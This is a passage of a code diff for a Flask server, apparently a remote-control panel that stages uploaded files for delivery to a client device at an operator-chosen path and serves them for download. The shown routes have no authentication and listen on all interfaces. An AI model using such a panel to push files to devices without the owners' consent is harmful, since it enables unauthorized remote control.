810
+ pass
811
  return jsonify({'files': sorted(files, key=lambda f: os.path.getmtime(os.path.join(app.config['UPLOAD_FOLDER'], f)), reverse=True)})
812
 
813
 
814
  @app.route('/upload_to_server_for_client', methods=['POST'])
815
  def upload_to_server_for_client_route():
816
+ global file_to_send_to_client, command_output
817
+ if 'file_to_device' not in request.files:
818
+ return jsonify({'status': 'error', 'message': 'No file_to_device part in request'}), 400
819
+
820
  file = request.files['file_to_device']
821
  target_path_on_device = request.form.get('target_path_on_device')
822
+
823
+ if file.filename == '':
824
+ return jsonify({'status': 'error', 'message': 'No selected file for_device'}), 400
825
+
826
+ if not target_path_on_device:
827
+ return jsonify({'status': 'error', 'message': 'Target path on device not specified'}), 400
828
 
829
  if file:
830
  original_filename = werkzeug.utils.secure_filename(file.filename)
831
  server_side_filename = str(uuid.uuid4()) + "_" + original_filename
832
  filepath_on_server = os.path.join(app.config['FILES_TO_CLIENT_FOLDER'], server_side_filename)
833
+
834
  try:
835
  file.save(filepath_on_server)
836
  command_output = f"Файл {original_filename} загружен на сервер, готов к отправке клиенту в {target_path_on_device}."
837
+ return jsonify({
838
+ 'status': 'success',
839
+ 'server_filename': server_side_filename,
840
+ 'original_filename': original_filename,
841
+ 'target_path_on_device': target_path_on_device
842
+ })
843
+ except Exception as e:
844
+ return jsonify({'status': 'error', 'message': f'Server error saving file for client: {str(e)}'}), 500
845
  return jsonify({'status': 'error', 'message': 'File processing failed on server'}), 500
846
 
847
  @app.route('/download_to_client/<filename>')
848
  def download_to_client(filename):
849
  return send_from_directory(app.config['FILES_TO_CLIENT_FOLDER'], filename, as_attachment=True)
850
 
851
+
852
  if __name__ == '__main__':
853
  app.run(host='0.0.0.0', port=7860, debug=False)